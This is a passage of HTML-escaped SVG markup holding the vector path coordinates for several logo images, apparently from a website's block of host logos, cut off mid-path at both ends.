61.60206,11.5901933 61.8263533,11.6782467 C62.0499533,11.7667333 62.29756,11.8574733 62.5688267,11.9509 C63.1312933,12.1590733 63.6211333,12.3641267 64.0381733,12.56684 C64.45478,12.7695533 64.8014467,13.00598 65.07774,13.2760333 C65.3536,13.5460867 65.55952,13.8632 65.69524,14.22694 C65.8303533,14.59094 65.8983,15.0322467 65.8983,15.55138 C65.8983,16.5594 65.5437467,17.3413933 64.83516,17.8971867 C64.1264867,18.4534133 63.0582333,18.7315267 61.63066,18.7315267 C61.1513067,18.7315267 60.7187533,18.7027533 60.3331733,18.64564 C59.9475933,18.5880933 59.6063867,18.5181533 59.30938,18.43504 C59.01246,18.3520133 58.7569667,18.2637867 58.54316,18.1702733 C58.3296133,18.0765867 58.1499533,17.9885333 58.00392,17.9050733 L58.6920533,15.9724933 C59.0147133,16.1494667 59.41338,16.30772 59.8879667,16.4476 C60.36186,16.5881733 60.9430467,16.6583733 61.63066,16.6583733 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;76.6416733 7.71185133 76.6416733 9.78492667 73.3745133 9.78492667 73.3745133 18.5131267 70.9359733 18.5131267 70.9359733 9.78492667 67.66864 9.78492667 67.66864 7.71185133&quot;&gt;&lt;/polygon&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;79.35018 18.5133867 81.7888933 18.5133867 81.7888933 7.71189467 79.35018 7.71189467&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M92.7047333,18.5131267 C92.0070667,17.27674 91.2513333,16.0559533 90.4384,14.8503333 C89.6254667,13.6448 88.7605333,12.5071267 87.8436,11.4367933 L87.8436,18.5131267 L85.436,18.5131267 L85.436,7.71187733 L87.4215333,7.71187733 C87.7647333,8.054488 88.1452,8.47535 88.5620667,8.97424667 C88.9789333,9.4731 89.4036,10.0057533 89.8360667,10.5720333 C90.2685333,11.1382267 90.6984,11.7253933 91.1256667,12.3330133 C91.5529333,12.9408933 91.9542,13.5252 92.3294667,14.0863667 L92.3294667,7.71187733 L94.7526667,7.71187733 L94.7526667,18.5131267 L92.7047333,18.5131267 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M103.6828,9.58221333 C102.547467,9.58221333 101.725867,9.89646667 101.2206,10.52506 C100.715333,11.1538267 100.463133,12.0133867 100.463133,13.1048667 C100.463133,13.6343133 100.524667,14.1153133 100.650333,14.5463933 C100.775133,14.9773 100.9632,15.3486667 101.2128,15.66058 C101.463267,15.9724067 101.775267,16.21412 102.150533,16.3856333 C102.5258,16.5569733 102.963467,16.6426 103.463533,16.6426 C103.7348,16.6426 103.967067,16.6374 104.159467,16.6271733 C104.351867,16.61686 104.521733,16.5962333 104.667333,16.5647733 L104.667333,12.8087267 L107.106133,12.8087267 L107.106133,18.15476 C106.814067,18.26916 106.3452,18.3910133 105.699533,18.5206667 C105.053,18.65032 104.255667,18.7157533 103.307533,18.7157533 C102.4946,18.7157533 101.757067,18.5908667 101.0958,18.3417 C100.433667,18.0919267 99.8686,17.72862 99.3997333,17.25048 C98.9308667,16.7726867 98.5686,16.1853467 98.3129333,15.48924 C98.0572667,14.7935667 97.9298667,13.9984867 97.9298667,13.1048667 C97.9298667,12.2006733 98.0711333,11.4005667 98.3528,10.7042 C98.6336,10.0082667 99.0184,9.41806667 99.5089333,8.93516 C99.9986,8.45194133 100.574067,8.085792 101.2362,7.83646067 C101.898333,7.58691267 102.6038,7.46180933 103.354333,7.46180933 C103.8648,7.46180933 104.325867,7.49602533 104.737533,7.563374 C105.1492,7.631156 105.503667,7.70896533 105.800933,7.797452 C106.0982,7.88549667 106.3426,7.976384 106.535867,8.07009667 C106.728267,8.16360133 106.866067,8.23660933 106.950133,8.288488 L106.2464,10.23646 C105.912733,10.05992 105.529667,9.90695333 105.0972,9.77686667 C104.664733,9.64695333 104.193267,9.58221333 103.6828,9.58221333 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;110.5182 18.5131267 110.5182 7.71187733 117.8346 7.71187733 117.8346 9.75364 112.957 9.75364 112.957 11.87316 117.286867 11.87316 117.286867 13.8684867 112.957 13.8684867 112.957 16.4714333 118.194267 16.4714333 118.194267 18.5131267&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M124.449867,9.66004 C124.273067,9.66004 124.114467,9.66524 123.9732,9.67546667 C123.8328,9.68621333 123.7002,9.69661333 123.574533,9.70666667 L123.574533,12.63678 L124.262667,12.63678 C125.1796,12.63678 125.835667,12.5229867 126.231733,12.2941 C126.6278,12.0659933 126.8254,11.67608 126.8254,11.1250533 C126.8254,10.595 126.6252,10.2188667 126.223933,9.99483333 C125.822667,9.77184 125.2316,9.66004 124.449867,9.66004 Z M124.310333,7.58692133 C125.9362,7.58692133 127.1816,7.87504467 128.046533,8.45195 C128.911467,9.02867333 129.343933,9.92480667 129.343933,11.14074 C129.343933,11.8989867 129.169733,12.5151 128.820467,12.9878667 C128.4712,13.4603733 127.968533,13.8321733 127.3116,14.1020533 C127.530867,14.3724533 127.759667,14.6815067 127.999733,15.02956 C128.238933,15.3778733 128.4764,15.7416133 128.711267,16.1208667 C128.945267,16.50012 129.172333,16.8948 129.390733,17.3049933 C129.609133,17.7157933 129.8128,18.11836 130,18.51304 L127.274333,18.51304 C127.075,18.1597867 126.873933,17.80142 126.670267,17.43768 C126.465733,17.0742 126.256867,16.7206867 126.0428,16.3775733 C125.828733,16.0345467 125.615533,15.71024 125.407533,15.4037867 C125.1978,15.0969 124.988067,14.8190467 124.7792,14.5692733 L123.5754,14.5692733 L123.5754,18.51304 L121.137467,18.51304 L121.137467,7.86720133 C121.668733,7.76389467 122.2182,7.69066133 122.785867,7.64946867 C123.3544,7.607626 123.862267,7.58692133 124.310333,7.58692133 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M0.000216290533,12.1732 L0.000216290533,0.000431421467 L6.14393867,3.27639867 L6.14393867,8.76078667 L14.2770333,8.76477333 L20.5204133,12.1732 L0.000216290533,12.1732 Z M15.9401667,7.75716933 L15.9401667,0 L22.2495,3.19444667 L22.2495,11.4224067 L15.9401667,7.75716933 Z M15.94008,22.63534 L15.94008,17.19822 L7.744334,17.1925 C7.75198667,17.2287267 1.39732667,13.72956 1.39732667,13.72956 L22.2495,13.8274067 L22.2495,26 L15.94008,22.63534 Z M0,22.63534 L0.000218583733,14.6807267 L6.14393867,18.2591933 L6.14393867,25.8295267 L0,22.63534 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                    &lt;/g&gt;
                &lt;/g&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;92&quot; height=&quot;20&quot; viewBox=&quot;0 0 92 20&quot; fill=&quot;none&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;path d=&quot;M23.7526 19.966H20.915L19.0232 17.7106L15.7723 13.8339C15.5658 13.5848 15.4766 13.2596 15.5273 12.9396C15.5779 12.6176 15.7653 12.334 16.0418 12.1609C18.3974 10.6853 19.4476 9.13383 19.4476 7.1296C19.4476 4.44084 17.2601 2.25436 14.5713 2.25436C12.6481 2.25436 10.8981 3.38962 10.1152 5.14772C9.86209 5.71585 9.19569 5.97107 8.62756 5.71787C8.05842 5.46471 7.80319 4.79832 8.0574 4.23018C9.20175 1.65988 11.7589 0 14.5713 0C18.5027 0 21.7009 3.19819 21.7009 7.1296C21.7009 8.28413 21.4467 9.36271 20.9413 10.3491C20.7955 10.6347 20.6294 10.9122 20.4421 11.1815C19.9337 11.9137 19.3361 12.5558 18.3346 13.2506C18.3164 13.2627 18.3133 13.287 18.3275 13.3032L23.8184 19.8242C23.867 19.8799 23.8266 19.966 23.7526 19.966Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M20.9145 19.9643H6.8588C3.31828 19.9643 0.448242 17.0952 0.448242 13.5547V13.4494C0.448242 9.91099 3.29603 7.00244 6.83448 6.99028C9.99724 6.97912 12.7022 9.16662 13.2613 12.1835C13.3747 12.7952 12.9716 13.3826 12.3589 13.497C11.7463 13.6104 11.1588 13.2054 11.0454 12.5937C10.6849 10.6482 8.91664 9.23752 6.84361 9.24358C4.54776 9.24969 2.70155 11.1424 2.70155 13.4393V13.5547C2.70155 15.8506 4.56195 17.711 6.8578 17.711H19.0217C19.0227 17.71 19.0227 17.71 19.0227 17.709L20.9145 19.9643Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M28.9388 19.8665C28.5576 19.9395 28.1668 19.9769 27.7668 19.9769H26.6145L26.0847 19.9607C26.0837 19.9607 26.0837 19.9597 26.0828 19.9597L20.7233 13.6018C20.7223 13.6008 20.7233 13.5998 20.7233 13.5998C21.1234 13.3182 21.7381 12.7673 22.3062 11.9733C23.0506 10.9333 23.7152 9.47394 23.7152 7.64801C23.7152 5.39062 23.0253 2.49424 19.9699 0.604465C19.8939 0.557881 19.9273 0.440388 20.0165 0.443417C21.3431 0.475866 25.8689 2.28459 25.8689 7.71685C25.8689 10.9707 24.2488 13.0174 23.6926 13.6241C23.6926 13.6241 23.6926 13.6251 23.6926 13.6261L26.839 17.3681L27.139 17.7246L28.9388 19.8665Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M34.006 13.8686C33.9719 16.8642 31.7874 19.3302 28.9405 19.867L27.1396 17.724H27.7862C29.9471 17.724 31.7326 15.9963 31.7528 13.8362C31.773 11.8148 30.2664 10.1164 28.2641 9.89462C27.6463 9.82573 27.2007 9.26976 27.2675 8.65101C27.3363 8.03221 27.8934 7.58661 28.5121 7.65545C30.0149 7.82054 31.4023 8.53352 32.4181 9.66272C33.4594 10.8152 34.0243 12.312 34.006 13.8686Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M69.6044 8.10145C69.5818 8.08097 69.5592 8.06154 69.5371 8.04102C69.5818 8.08096 69.627 8.12192 69.6712 8.16293C69.6486 8.14245 69.627 8.12192 69.6044 8.10145ZM71.1428 11.2702C71.1428 11.2702 71.1418 11.2692 71.1418 11.2681C71.1428 11.2856 71.1447 11.303 71.1457 11.3194C71.1447 11.303 71.1437 11.2856 71.1428 11.2702Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M61.9451 9.74219C61.7177 10.3475 61.5893 11.0459 61.5629 11.8315C61.5586 11.7659 61.5576 11.6973 61.5576 11.6308C61.5576 10.9599 61.697 10.3219 61.9451 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M65.8315 16.4016C65.6502 16.3822 65.4719 16.3524 65.2988 16.3125C65.4926 16.3484 65.6709 16.3791 65.8315 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M51.7991 8.16484C51.8429 8.12388 51.8881 8.08292 51.9332 8.04297C51.9106 8.06345 51.888 8.08292 51.8655 8.1034C51.8429 8.12282 51.8217 8.14335 51.7991 8.16484ZM50.3242 11.3203C50.3252 11.3029 50.3271 11.2855 50.3285 11.2691C50.3285 11.2701 50.3271 11.2711 50.3271 11.2711C50.3261 11.2875 50.3252 11.3049 50.3242 11.3203Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M59.5264 9.74219C59.7538 10.3475 59.8816 11.0459 59.9081 11.8315C59.9124 11.7659 59.9134 11.6973 59.9134 11.6308C59.9124 10.9609 59.7739 10.3219 59.5264 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M55.6377 16.4016C55.8189 16.3821 55.9973 16.3524 56.1704 16.3125C55.9766 16.3493 55.7983 16.3801 55.6377 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.9524 15.1847C83.975 15.2052 83.9976 15.2246 84.0202 15.2451C83.975 15.2052 83.9298 15.1642 83.886 15.1233C83.9086 15.1427 83.9298 15.1632 83.9524 15.1847ZM82.415 12.016C82.415 12.016 82.4164 12.017 82.4164 12.018C82.415 12.0006 82.4131 11.9832 82.4121 11.9668C82.4131 11.9822 82.414 11.9996 82.415 12.016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M48.9113 13.7555V15.4168C48.9113 15.7495 48.7753 16.0515 48.5541 16.2709C48.3344 16.4904 48.0297 16.6251 47.6936 16.6251C47.0211 16.6251 46.4764 16.0842 46.4764 15.4168V14.1841C46.4764 13.3626 46.2557 12.7523 45.8212 12.3717C45.4659 12.0604 45.126 11.8819 44.5121 11.8298C44.4713 11.8257 44.4294 11.8237 44.3852 11.8216C44.1559 11.79 43.9386 11.6778 43.7862 11.5267C43.6079 11.3492 43.4963 11.1032 43.4963 10.8318C43.4963 10.3287 43.878 9.91337 44.3689 9.85621C44.3996 9.85419 44.465 9.84904 44.465 9.84904C45.064 9.80111 45.3794 9.62863 45.7077 9.34394C46.1091 8.998 46.312 8.52139 46.312 7.92754C46.312 7.14279 45.9582 6.5611 45.2875 6.24473C44.9424 6.08248 44.3141 6.00696 43.3069 6.00696H42.1507V15.4168C42.1507 15.7495 42.0147 16.0515 41.7945 16.2709C41.5739 16.4904 41.2686 16.6251 40.933 16.6251C40.2615 16.6251 39.7158 16.0842 39.7158 15.4168V4.08642C39.7158 3.89153 39.8749 3.73438 40.0706 3.73438H44.2314C45.8591 3.73438 47.0773 4.16194 47.8527 5.00587C48.4681 5.66611 48.7671 6.47538 48.7671 7.47854C48.7671 8.72451 48.2599 9.66843 47.2182 10.3665L46.6437 10.7512L47.2946 10.9879C47.8826 11.2022 48.3018 11.5145 48.5388 11.9155C48.7859 12.335 48.9113 12.9544 48.9113 13.7555Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M71.1345 11.6985C71.1336 11.6567 71.1326 11.6169 71.1292 11.5761C71.1283 11.5547 71.1264 11.5322 71.1254 11.5108C71.1244 11.4935 71.122 11.4761 71.1211 11.4598C71.1211 11.4547 71.1201 11.4496 71.1201 11.4445C71.1163 11.3965 71.1129 11.3496 71.1071 11.3006C71.1038 11.2771 71.1009 11.2516 71.099 11.2281C71.0917 11.1628 71.0817 11.0975 71.0701 11.0332C71.0591 10.9618 71.0456 10.8913 71.0302 10.821C71.0235 10.7873 71.0163 10.7546 71.0081 10.722C70.999 10.6781 70.9874 10.6352 70.9754 10.5924C70.9682 10.5648 70.96 10.5362 70.9528 10.5097C70.9437 10.474 70.9326 10.4403 70.922 10.4056C70.912 10.372 70.9009 10.3393 70.8898 10.3056C70.8336 10.1372 70.7682 9.97294 70.6927 9.81271C70.6639 9.74945 70.6336 9.6882 70.6019 9.62701C70.5826 9.59129 70.5639 9.55451 70.5437 9.51985C70.5264 9.48716 70.5091 9.45553 70.4894 9.4239C70.4702 9.39125 70.4528 9.36063 70.4327 9.329C70.4129 9.29737 70.3937 9.26573 70.373 9.23511C70.3529 9.20449 70.3336 9.17387 70.312 9.14329C70.2928 9.11469 70.2731 9.08613 70.2529 9.05757C70.2485 9.05142 70.2457 9.04733 70.2428 9.04325C70.2231 9.01671 70.2038 8.99023 70.1836 8.96369C70.162 8.93408 70.1394 8.90446 70.1173 8.87591C70.0721 8.81774 70.0255 8.76058 69.9774 8.70548C69.9303 8.64938 69.8793 8.59631 69.8322 8.54733C69.7774 8.48916 69.7221 8.43199 69.6649 8.37488C69.662 8.37181 69.6577 8.36772 69.6558 8.3657C69.612 8.32489 69.5669 8.28407 69.5221 8.24427L69.5183 8.24018C69.4731 8.20139 69.4284 8.16259 69.3832 8.12586C69.376 8.11875 69.3678 8.11158 69.3601 8.10548C69.3212 8.07279 69.2813 8.04217 69.2404 8.0126C69.226 8.00034 69.2111 7.98914 69.1957 7.97789C69.1568 7.94833 69.1178 7.92078 69.0784 7.89424C69.014 7.84728 68.9467 7.80339 68.8794 7.76257C68.8414 7.7381 68.8025 7.71459 68.764 7.69219C68.7631 7.69113 68.7607 7.69113 68.7597 7.69012C68.7424 7.67993 68.7241 7.66868 68.7078 7.6595C68.6688 7.63705 68.6304 7.61566 68.5905 7.59624C68.5722 7.58605 68.5539 7.5748 68.5342 7.56667C68.4862 7.54114 68.4395 7.51768 68.3905 7.49418C68.1689 7.38909 67.9372 7.3013 67.6978 7.23193C67.6689 7.22376 67.6396 7.21458 67.6107 7.20747C67.5579 7.19213 67.5045 7.17886 67.4507 7.1666C67.418 7.15949 67.3853 7.15132 67.3526 7.14516C67.3189 7.13805 67.2872 7.13088 67.2536 7.12478C67.2036 7.1156 67.1579 7.10742 67.1055 7.09824C67.0127 7.08194 66.919 7.0707 66.8252 7.06353C66.818 7.06252 66.8089 7.06151 66.8017 7.06151C66.7627 7.05642 66.7238 7.05435 66.6844 7.05233C66.6435 7.04926 66.6026 7.04724 66.5618 7.04517C66.5262 7.04315 66.4892 7.04214 66.4536 7.04108C66.419 7.03906 66.3863 7.03906 66.3517 7.03906H66.3382C64.3749 7.04517 62.6871 8.23917 61.9554 9.93924C61.7289 10.5424 61.6011 11.2383 61.5746 12.021C61.5737 12.0231 61.5737 12.0241 61.5746 12.0251C61.5717 12.1272 61.5693 12.2302 61.5693 12.3353V18.8542C61.5693 19.4471 62.0501 19.9277 62.6433 19.9277C62.939 19.9277 63.2072 19.8083 63.4024 19.6134C63.5961 19.4195 63.7168 19.1511 63.7168 18.8542V15.8101C64.1797 16.1172 64.6994 16.3469 65.2575 16.4775C65.272 16.4816 65.2849 16.4846 65.2984 16.4867C65.4912 16.5224 65.6691 16.553 65.8291 16.5755C66.0003 16.5948 66.1738 16.604 66.3517 16.604C68.9823 16.604 71.122 14.4692 71.1345 11.8424V11.8016C71.1365 11.767 71.1355 11.7322 71.1345 11.6985ZM66.3536 14.409C64.9249 14.409 63.7668 13.2497 63.7668 11.821C63.7668 11.7986 63.7668 11.7751 63.7687 11.7537C63.7725 11.5486 63.8024 11.3496 63.8524 11.1587C64.1442 10.0505 65.1547 9.2341 66.3536 9.2341C67.7833 9.2341 68.9414 10.3923 68.9414 11.821C68.9414 13.2497 67.7833 14.409 66.3536 14.409Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M50.3691 11.8016V11.8424C50.3802 14.4702 52.5204 16.604 55.152 16.604C55.3284 16.604 55.5029 16.5948 55.6745 16.5755C55.8356 16.554 56.0125 16.5234 56.2053 16.4867C56.2183 16.4836 56.2317 16.4805 56.2461 16.4775C56.8033 16.3469 57.3235 16.1183 57.7869 15.8101V16.0877C57.7869 16.3846 57.9061 16.653 58.1013 16.8469C58.296 17.0408 58.5647 17.1612 58.8604 17.1612C59.4531 17.1612 59.9339 16.6806 59.9339 16.0877V12.3353C59.9339 12.2302 59.9319 12.1272 59.9291 12.0251C59.93 12.0241 59.93 12.0231 59.9291 12.021C59.9021 11.2383 59.7747 10.5424 59.5483 9.93924C58.8166 8.23912 57.1288 7.04416 55.1654 7.03906H55.152C55.1174 7.03906 55.0847 7.03906 55.0501 7.04108C55.0145 7.04214 54.9775 7.04315 54.9419 7.04517C54.901 7.04724 54.8602 7.04926 54.8193 7.05233C54.7804 7.05435 54.7419 7.05743 54.702 7.06151C54.6948 7.06151 54.6857 7.06252 54.6785 7.06353C54.5847 7.0707 54.491 7.08295 54.3977 7.09824C54.3467 7.10742 54.3001 7.1156 54.2501 7.12478C54.2165 7.13088 54.1847 7.13704 54.1511 7.14516C54.1184 7.15233 54.0857 7.15949 54.053 7.1666C53.9997 7.17886 53.9468 7.19213 53.8929 7.20742C53.8641 7.21458 53.8348 7.22376 53.8059 7.23193C53.566 7.3013 53.3343 7.3901 53.1132 7.49418C53.0641 7.51663 53.017 7.54114 52.9694 7.56667C52.9497 7.5748 52.9315 7.58605 52.9132 7.59624C52.8743 7.61667 52.8353 7.63705 52.7959 7.6595C52.7786 7.66868 52.7598 7.67993 52.7435 7.69012C52.7425 7.69113 52.7406 7.69113 52.7396 7.69219C52.7007 7.71459 52.6623 7.7381 52.6243 7.76257C52.557 7.80339 52.4906 7.84728 52.4253 7.89424C52.3863 7.92073 52.3479 7.94833 52.3079 7.97789C52.2926 7.98808 52.2772 7.99933 52.2632 8.0126C52.2224 8.04217 52.1825 8.07385 52.1435 8.10548C52.1354 8.11158 52.1272 8.11769 52.12 8.12586C52.0743 8.16259 52.0291 8.20139 51.9854 8.24018L51.9815 8.24427C51.9363 8.28403 51.8916 8.32489 51.8479 8.3657C51.8445 8.36873 51.8407 8.37282 51.8388 8.37488C51.7815 8.43199 51.7263 8.48916 51.671 8.54733C51.6243 8.59631 51.5734 8.64933 51.5263 8.70548C51.4772 8.76058 51.4316 8.81774 51.3864 8.87591C51.3638 8.90446 51.3417 8.93408 51.32 8.96369C51.2999 8.99018 51.2801 9.01671 51.2609 9.04325C51.2571 9.04734 51.2537 9.05142 51.2508 9.05753C51.2301 9.08613 51.2109 9.11469 51.1917 9.14329C51.171 9.17387 51.1508 9.20449 51.1301 9.23511C51.11 9.26674 51.0907 9.29838 51.071 9.329C51.0508 9.36063 51.0335 9.39226 51.0138 9.4239C50.9946 9.45553 50.9773 9.48716 50.96 9.51985C50.9393 9.55451 50.921 9.59124 50.9018 9.62696C50.8701 9.68821 50.8393 9.74945 50.8109 9.81271C50.7355 9.97294 50.6701 10.1372 50.6138 10.3056C50.6028 10.3393 50.5927 10.372 50.5811 10.4056C50.5711 10.4403 50.56 10.474 50.5509 10.5097C50.5437 10.5362 50.5355 10.5648 50.5283 10.5924C50.5172 10.6352 50.5057 10.6781 50.4956 10.722C50.4874 10.7546 50.4802 10.7873 50.473 10.821C50.4576 10.8913 50.4446 10.9618 50.4331 11.0332C50.422 11.0975 50.4129 11.1628 50.4047 11.2281C50.4018 11.2516 50.3985 11.2771 50.3965 11.3006C50.3903 11.3495 50.3874 11.3965 50.3831 11.4445C50.3831 11.4496 50.3821 11.4547 50.3821 11.4598C50.3812 11.4771 50.3792 11.4945 50.3783 11.5108C50.3773 11.5322 50.3749 11.5547 50.374 11.5761C50.3711 11.6169 50.3701 11.6567 50.3691 11.6985C50.3701 11.7333 50.3691 11.767 50.3691 11.8016ZM52.5632 11.821C52.5632 10.3913 53.7223 9.2341 55.151 9.2341C56.3509 9.2341 57.3605 10.0505 57.6523 11.1587C57.7023 11.3485 57.7316 11.5475 57.7359 11.7537C57.7379 11.7751 57.7379 11.7986 57.7379 11.821C57.7379 13.2507 56.5788 14.409 55.151 14.409C53.7223 14.41 52.5632 13.2507 52.5632 11.821Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M80.4966 7.03717C81.3519 7.03717 81.9182 7.92399 81.5591 8.69956L78.3141 15.7113C77.7887 16.8165 77.3478 17.6523 76.9892 18.2186C76.6325 18.785 76.2272 19.2065 75.7763 19.482C75.3249 19.7585 74.7619 19.8963 74.0884 19.8963C73.575 19.8963 73.1034 19.8218 72.6727 19.6738C72.4982 19.6136 71.99 19.3412 71.7708 19.1993C71.3627 18.935 71.2381 18.3931 71.4881 17.9757C71.7371 17.5594 72.2698 17.4135 72.6962 17.6441C72.7871 17.6931 73.1505 17.8798 73.188 17.8941C73.4106 17.9757 73.6769 18.0155 73.987 18.0155C74.3913 18.0155 74.7086 17.8839 74.9374 17.6206C75.1658 17.3583 75.4028 16.9165 75.6455 16.296L72.1318 8.721C71.7718 7.94437 72.339 7.05761 73.1943 7.05761C73.6625 7.05761 74.086 7.3372 74.2706 7.76785L76.8382 13.7683L79.3938 7.74847C79.5775 7.31576 80.002 7.03516 80.4712 7.03516H80.4966V7.03717Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M82.3445 11.9635C82.3454 12.0053 82.3464 12.0451 82.3498 12.086C82.3507 12.1074 82.3526 12.1298 82.3536 12.1513C82.3546 12.1686 82.357 12.1859 82.3579 12.2023C82.3579 12.2074 82.3589 12.2125 82.3589 12.2176C82.3627 12.2656 82.3661 12.3125 82.3719 12.3615C82.3752 12.385 82.3781 12.4105 82.38 12.434C82.3873 12.4992 82.3974 12.5646 82.4089 12.6288C82.4199 12.7003 82.4334 12.7707 82.4488 12.8411C82.4555 12.8748 82.4627 12.9074 82.4709 12.9401C82.48 12.984 82.4916 13.0269 82.5036 13.0697C82.5108 13.0973 82.519 13.1258 82.5262 13.1524C82.5353 13.1881 82.5464 13.2217 82.557 13.2564C82.5671 13.2901 82.5781 13.3228 82.5897 13.3564C82.6454 13.5248 82.7108 13.6892 82.7863 13.8493C82.8151 13.9126 82.8454 13.9739 82.8771 14.0351C82.8968 14.0708 82.9151 14.1075 82.9353 14.1423C82.9526 14.1749 82.9699 14.2065 82.9896 14.2382C83.0089 14.2708 83.0262 14.3014 83.0468 14.3331C83.0661 14.3647 83.0853 14.3963 83.106 14.4269C83.1261 14.4576 83.1454 14.4882 83.167 14.5188C83.1862 14.5474 83.2059 14.5759 83.2261 14.6045C83.2305 14.6106 83.2334 14.6147 83.2362 14.6188C83.256 14.6453 83.2752 14.6719 83.2958 14.6984C83.317 14.728 83.3396 14.7576 83.3617 14.7861C83.4069 14.8443 83.454 14.9015 83.5016 14.9566C83.5487 15.0127 83.5997 15.0657 83.6468 15.1147C83.7016 15.1729 83.7569 15.2301 83.8141 15.2872C83.817 15.2903 83.8213 15.2943 83.8232 15.2964C83.867 15.3372 83.9122 15.378 83.9569 15.4178L83.9612 15.4219C84.0059 15.4607 84.0506 15.4995 84.0958 15.5362C84.103 15.5434 84.1112 15.5505 84.1193 15.5566C84.1578 15.5893 84.1977 15.6199 84.2386 15.6495C84.253 15.6617 84.2679 15.673 84.2833 15.6842C84.3222 15.7138 84.3612 15.7413 84.4006 15.7679C84.465 15.8148 84.5323 15.8587 84.5996 15.8995C84.6376 15.924 84.6765 15.9475 84.715 15.9699C84.7159 15.9709 84.7183 15.9709 84.7193 15.9719C84.7366 15.9822 84.7549 15.9934 84.7712 16.0026C84.8102 16.025 84.8486 16.0464 84.8885 16.0658C84.9068 16.0761 84.9255 16.0873 84.9448 16.0954C84.9928 16.121 85.0395 16.1444 85.0885 16.1679C85.3101 16.273 85.5418 16.3608 85.7817 16.4302C85.8101 16.4383 85.8399 16.4475 85.8683 16.4546C85.9211 16.47 85.9745 16.4832 86.0284 16.4955C86.061 16.5026 86.0937 16.5108 86.1264 16.5169C86.1601 16.5241 86.1918 16.5312 86.2254 16.5373C86.2754 16.5465 86.3211 16.5546 86.3735 16.5638C86.4663 16.5802 86.56 16.5914 86.6538 16.5985C86.661 16.5995 86.6701 16.6006 86.6773 16.6006C86.7163 16.6057 86.7552 16.6077 86.7946 16.6098C86.8355 16.6128 86.8764 16.6149 86.9172 16.6169C86.9528 16.619 86.9898 16.62 87.0254 16.621C87.06 16.623 87.0927 16.623 87.1273 16.623H87.1408C89.1041 16.6169 90.792 15.4229 91.5236 13.7228C91.7501 13.1197 91.8779 12.4237 91.9044 11.641C91.9053 11.639 91.9053 11.638 91.9044 11.6369C91.9073 11.5349 91.9097 11.4318 91.9097 11.3267V4.80791C91.9097 4.21501 91.4289 3.73438 90.8362 3.73438C90.5401 3.73438 90.2718 3.85374 90.0766 4.04868C89.8829 4.24256 89.7622 4.51096 89.7622 4.80791V7.85202C89.2993 7.54483 88.7796 7.31523 88.2215 7.18462C88.207 7.18053 88.1941 7.17745 88.1806 7.17543C87.9878 7.13971 87.8104 7.10909 87.6499 7.08664C87.4787 7.06727 87.3052 7.05809 87.1273 7.05809C84.4967 7.05809 82.357 9.19289 82.3445 11.8196V11.8604C82.3435 11.8951 82.3435 11.9298 82.3445 11.9635ZM87.1254 9.25312C88.5541 9.25312 89.7122 10.4124 89.7122 11.8411C89.7122 11.8635 89.7122 11.887 89.7103 11.9084C89.7065 12.1135 89.6767 12.3125 89.6267 12.5033C89.3349 13.6116 88.3243 14.428 87.1254 14.428C85.6957 14.428 84.5376 13.2697 84.5376 11.8411C84.5376 10.4124 85.6966 9.25312 87.1254 9.25312Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.6133 13.5424C91.8407 12.9371 91.9685 12.2386 91.995 11.4531C91.9993 11.5187 92.0003 11.5873 92.0003 11.6539C92.0003 12.3236 91.8618 12.9627 91.6133 13.5424Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M87.7256 6.88086C87.9068 6.90033 88.0852 6.92999 88.2582 6.96994C88.0645 6.93413 87.8871 6.90341 87.7256 6.88086Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.9187 19.3958C89.9249 19.4011 89.9302 19.4064 89.9364 19.4116C89.9249 19.4011 89.9119 19.3894 89.9004 19.3789C89.9066 19.3842 89.9134 19.3894 89.9187 19.3958Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.4365 18.7481C89.4365 18.7598 89.4365 18.7703 89.4374 18.7809C89.4374 18.7872 89.4389 18.7925 89.4389 18.7989C89.4389 18.8031 89.4398 18.8084 89.4398 18.8126C89.4398 18.8137 89.4398 18.8158 89.4398 18.8168C89.4408 18.8295 89.4418 18.8422 89.4427 18.8549C89.4442 18.8613 89.4442 18.8676 89.4451 18.8739C89.4471 18.8919 89.4495 18.9088 89.4523 18.9258C89.4557 18.9448 89.4586 18.9638 89.4629 18.9829C89.4653 18.9913 89.4672 19.0009 89.4692 19.0093C89.4716 19.021 89.4745 19.0326 89.4778 19.0442C89.4797 19.0516 89.4821 19.059 89.4841 19.0664C89.4865 19.0759 89.4894 19.0855 89.4927 19.0939C89.4956 19.1024 89.498 19.1119 89.5009 19.1204C89.5158 19.1658 89.5341 19.2092 89.5538 19.2525C89.5615 19.2694 89.5696 19.2864 89.5783 19.3022C89.5836 19.3118 89.5889 19.3213 